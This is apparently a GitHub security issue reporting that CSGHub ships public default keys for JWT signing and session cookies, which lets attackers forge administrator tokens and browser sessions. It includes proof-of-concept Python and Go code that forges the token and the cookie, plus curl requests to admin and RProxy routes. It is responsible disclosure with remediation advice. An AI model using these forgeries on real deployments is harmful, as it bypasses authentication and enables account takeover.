Repository navigation
Description
Hard-coded default keys allow forged JWTs and browser sessions
Hello, OpenCSG maintainers. Could you please review this authentication issue?
Summary
At commit 4cd64cc, CSGHub uses public default values for authentication keys when their environment variables are unset: signing-key for JWTs and Gitaly callbacks, and secret for browser-session cookies.
The API accepts a JWT signed with the default key and trusts its current_user claim. The RProxy and AI Gateway also use the predictable cookie key to verify browser sessions.
Impact
An unauthenticated attacker who can reach a deployment using these defaults can impersonate a known account. A forged JWT naming an existing administrator passes the JWT authentication middleware; NeedAdmin then loads that account’s real role and grants access to administrator-only routes, including GET /api/v1/admin/repos. The JWT blacklist checks only the exact token string, so it does not reject a newly forged token.
A forged opencsg_jwt_session cookie is accepted as a logged-in browser session. On RProxy, the claimed username is used for private deployment access checks. In the AI Gateway, a session naming an existing administrator can pass the admin-role check. These cookie impacts apply when those components are deployed with the default session key.
The same signing-key is configured as Gitaly’s GitLab callback secret. The server validates that key on /api/v4/internal/* callback routes, so deployments exposing those routes also have a forgeable service-to-service authentication boundary.
Evidence
JWT.SigningKeydefaults tosigning-key. The same value is assigned toGitalyServer.JWTSecretand appears as Gitaly’s[gitlab].secret.- JWTs are signed with HS256 in
signClaims.isValidJWTTokenverifies the token and copiescurrent_useranduuidfrom its claims into request context.NeedAdminchecks the real role for that claimed username. Space.SessionSecretKeydefaults tosecret. Both RProxy and the AI Gateway use this key foropencsg_jwt_session.isValidBrowserSessionaccepts a session containing a username without revalidating the account.CheckGitlabShellJWTTokenverifies callback tokens withGitalyServer.JWTSecret; the guarded internal routes are registered here.
Proof of concept
With STARHUB_JWT_SIGNING_KEY unset, sign a token naming an existing administrator and send it to an administrator-only route:
import time
import jwt
now = int(time.time())
token = jwt.encode(
{
"current_user": "<existing-admin-username>",
"uuid": "<account-uuid>",
"iat": now,
"exp": now + 3600,
},
"signing-key",
algorithm="HS256",
)
print(token)curl -H "Authorization: Bearer <forged-token>" \
https://<host>/api/v1/admin/reposFor the browser-session path, create a valid cookie using the same securecookie codec and default key as cookie.NewStore:
package main
import (
"fmt"
"github.com/gorilla/securecookie"
)
func main() {
codecs := securecookie.CodecsFromPairs([]byte("secret"))
values := map[interface{}]interface{}{
"currentUser": "<existing-username>",
"currentUserUUID": "<account-uuid>",
}
cookieValue, err := securecookie.EncodeMulti("opencsg_jwt_session", values, codecs...)
if err != nil {
panic(err)
}
fmt.Println(cookieValue)
}Send the result to an RProxy deployment owned by that account, for example at /endpoint/<deployment-name>/:
curl -H "Cookie: opencsg_jwt_session=<forged-cookie>" \
https://<rproxy-host>/endpoint/<deployment-name>/Remediation
Require unique, cryptographically random values for STARHUB_JWT_SIGNING_KEY, STARHUB_SERVER_GITALY_JWT_SECRET, and STARHUB_SERVER_SPACE_SESSION_SECRET_KEY; fail startup when a shipped default remains. Rotate these keys independently and invalidate tokens and sessions signed with the old values.
Related Works
- GoAway (CVE-2025-65730)
- DPanel (CVE-2025-30206)
- ferry, Issue #328
- Dragonfly (CVE-2023-27584)
- go-admin (CVE-2022-42980)
- KubePi (CVE-2023-22463)
- Navidrome (CVE-2023-51442)
- Kiali (CVE-2020-1764)
- OpenSSF Allstar (CVE-2025-61926)
- Milvus (CVE-2025-64513)
This report is part of my ongoing security research. If you have any questions, please feel free to reach out to me. I would be glad to contribute, even in a small way, to improving CSGHub’s security.
Activity
ganisback commentedon Oct 8, 2026
will address next release
Rader commentedon Nov 25, 2026
sample config will be changed after deployment.